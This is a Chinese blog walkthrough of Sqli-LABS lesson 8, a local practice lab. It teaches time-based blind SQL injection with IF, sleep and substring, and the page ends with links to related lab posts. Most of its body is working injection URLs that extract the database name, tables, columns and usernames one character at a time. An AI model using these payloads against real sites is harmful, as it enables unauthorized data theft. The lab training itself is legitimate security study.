通过该关卡我学习到了

1.if语句的三目运算符(其实说白了也就是php里的三位运算符)

2.sleep函数

3.substring函数(其实和substr一样)

4.limit的灵活运用

5.


Start Study

先来科普延时注入知识吧。

延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。

拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。

Example:
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒

下面我们来看关卡。

将刚才的sql语句放到 url里

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring("helloworld",1,1))=104,sleep(10),1)--+

左上方可以看到正在连接,并且持续了十多秒,所以延时注入的影响因素跟时间也是息息相关的。延迟也就是说sleep(10)得到执行了。

00x1   猜数据库名

经过测试数据库名的第一个ASCII码为115

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+

......................................................................................................2.................................

.....最终得出为:security

 00x2   猜表名

记住哈,是从0开始的,我给写从1开始了。limit 0,1

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);--+ 符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,sleep(10),1);--+ 不符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);--+ 等于114

推出第一个的ASCII码为:114

修改substring函数的第二个参数进行猜解第二个的ASCII码。

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101,sleep(10),1);--+

要猜第二个表的时候修改select下limit的即可,即(limit 2,1)也可如下所示:

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,sleep(10),1);--+

注:

  

以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。

详细的解释可参考《sql注入之你问我答小知识》的17问:http://www.cnblogs.com/xishaonian/p/6036909.html

 00x3   猜字段

只需要将select语句里的

table_name改为column_name以及information_schemation.tables改为information_schemation.columns

就可以了。还是要记住哦,是从0开始的!

 00x4   猜内容 

格式:http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select 字段 from 数据库名.表明 order by id limit m,n),x,y))>68,sleep(10),1);--+
注:
m,n为limit函数的
x,y为substr函数的
可将格式再缩为:if(ascii(substr((select 字段 数据库.表明 order by id limit m,n))>ASCII码,sleep(10),1);
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1);--+

第一个ASCII:68

第二个ASCII:117

最后推出usernam第一个得出为:Dumb

诺,送users表下的数据图一张

转载请注明出处:珍惜少年时博客

THE END


Sqli-LABS通关笔录-8[延时注入]的更多相关文章

  1. Sqli-LABS通关笔录-9[延时注入]

    通过这个关卡 1.更快的掌握到了如何判断是否是延时注入 无论咋输入,都不行.当payload为: http://127.0.0.1/sql/Less-9/index.php?id=1' and sle ...

  2. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  3. Sqli-LABS通关笔录-17-审计SQL注入

    这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  6. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  7. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  8. sqli-labs:7,导入导出;8-10 延时注入

    1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...

  9. mysql 延时注入新思路

    转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...

随机推荐

  1. MySQL Workbench--Window安装试用

    MySQL Workbench 01.概述 MySQL Workbench provides DBAs and developers an integrated tools environment f ...

  2. GPT磁盘win7激活工具

    系统重装前是Win10,再次重装没有格式化磁盘.GPT分区模式安装的Win7,传统的Win7激活工具都是基于KMS的. 今天,GPT磁盘win7激活工具针对GPTwin7de激活! 01.未激活 02 ...

  3. Centos5, 6, 以及Ubuntu18.04下更改系统时间和时区

    http://www.namhuy.net/2435/how-to-change-date-time-timezone-on-centos-6.html 查看日期(使用 -R 参数会以数字显示时区) ...

  4. Move semantics(C++11)

    /*  * Compile with:   *       g++ move_test.c -o move_test -std=c++11 -g -fno-elide-constructors  * ...

  5. 【TP框架】包括TP3.1和3.2,自带缓存使用机制

    原文章出处: http://blog.163.com/liwei1987821@126/blog/static/172664928201422133218356/ 写在开始:缓存变量和session变 ...

  6. HDUOJ ---1269迷宫城堡

    http://acm.hdu.edu.cn/showproblem.php?pid=1269 迷宫城堡 Time Limit: 2000/1000 MS (Java/Others)    Memory ...

  7. 【LeetCode】31. Next Permutation (2 solutions)

    Next Permutation Implement next permutation, which rearranges numbers into the lexicographically nex ...

  8. Android开发学习之反编译APK文件

    反编译的目的在于学习一些优秀的Android应用程序代码. 在进行反编译之前,需要准备好下面的软件工具(这些文件都放在同一文件下): 这些工具的下载地址:http://down.51cto.com/d ...

  9. linux服务器的Gzip文件压缩方法[转]

    一.gzip介绍 gzip是GNU zip的缩写,它是一个GNU自由软件的文件压缩程序,也经常用来表示gzip这种文件格式.软件的作者是Jean-loup Gailly和Mark Adler.1992 ...

  10. Https自签名证书认证及数据请求的封装

    在WWDC 2016开发者大会上,苹果宣布了一个最后期限:到2017年1月1日 App Store中的所有应用都必须启用 App Transport Security安全功能.App Transpor ...